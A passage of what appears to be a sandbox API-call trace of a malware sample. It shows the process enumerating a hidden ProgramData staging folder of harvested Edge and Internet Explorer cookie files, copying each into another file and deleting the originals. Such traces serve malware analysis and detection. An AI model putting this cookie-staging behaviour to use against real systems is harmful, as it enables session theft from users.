lpNumberOfBytesWritten=0x19df70, lpOverlapped=0x0 | out: lpBuffer=0x33aba1c*, lpNumberOfBytesWritten=0x19df70*=0x2, lpOverlapped=0x0) returned 1 [0102.015] CloseHandle (hObject=0x4f0) returned 1 [0102.015] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.015] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.015] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.020] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.020] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.020] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.020] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.020] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.020] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.020] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.020] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.021] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.021] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.021] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x19, lpOverlapped=0x0) returned 1 [0102.021] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0102.021] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=74, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a [0102.021] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9) returned 0x2112fd0 [0102.021] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x360) returned 0x2113168 [0102.021] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306c8 | out: hHeap=0x2110000) returned 1 [0102.021] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa248 | out: hHeap=0x2110000) returned 1 [0102.021] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e40 | out: hHeap=0x2110000) returned 1 [0102.021] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.021] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies\\edge_cookies.txt")) returned 1 [0102.022] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa2a0 | out: hHeap=0x2110000) returned 1 [0102.022] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a21322, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x32a21322, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32a21322, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE_Cookies.txt", cAlternateFileName="IE_COO~1.TXT")) returned 1 [0102.022] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" [0102.022] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\" [0102.022] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\", lpString2="IE_Cookies.txt" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt" [0102.022] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0102.022] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0102.022] lstrcatW (in: lpString1="\\Cookies\\", lpString2="IE_Cookies.txt" | out: lpString1="\\Cookies\\IE_Cookies.txt") returned="\\Cookies\\IE_Cookies.txt" [0102.022] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0102.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0102.022] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x33ab6f8 [0102.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt", cchWideChar=70, lpMultiByteStr=0x33ab6f8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt", lpUsedDefaultChar=0x0) returned 70 [0102.022] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa560 [0102.022] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab6f8 | out: hHeap=0x2110000) returned 1 [0102.022] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116878 [0102.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116878, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.023] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116878 | out: hHeap=0x2110000) returned 1 [0102.023] PathMatchSpecW (pszFile="IE_Cookies.txt", pszSpec="*.*") returned 1 [0102.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0102.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300e0 [0102.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0102.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x33ab838 [0102.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt", cchWideChar=70, lpMultiByteStr=0x33ab838, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt", lpUsedDefaultChar=0x0) returned 70 [0102.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa820 [0102.023] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab838 | out: hHeap=0x2110000) returned 1 [0102.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies\\IE_Cookies.txt", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0102.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ea0 [0102.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies\\IE_Cookies.txt", cchWideChar=24, lpMultiByteStr=0x3430ea0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Cookies\\IE_Cookies.txt", lpUsedDefaultChar=0x0) returned 24 [0102.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430420 [0102.023] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ea0 | out: hHeap=0x2110000) returned 1 [0102.023] GetLastError () returned 0x0 [0102.023] SetLastError (dwErrCode=0x0) [0102.023] GetLastError () returned 0x0 [0102.023] SetLastError (dwErrCode=0x0) [0102.023] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies\\ie_cookies.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0102.024] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4a [0102.024] GetFileInformationByHandle (in: hFile=0x4f0, lpFileInformation=0x19df48 | out: lpFileInformation=0x19df48) returned 1 [0102.024] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0102.024] FileTimeToSystemTime (in: lpFileTime=0x19df08, lpSystemTime=0x19def0 | out: lpSystemTime=0x19def0) returned 1 [0102.025] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.025] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.029] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.029] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.029] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.029] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.029] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.029] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.029] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.030] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.032] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.032] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.032] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.032] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x17, 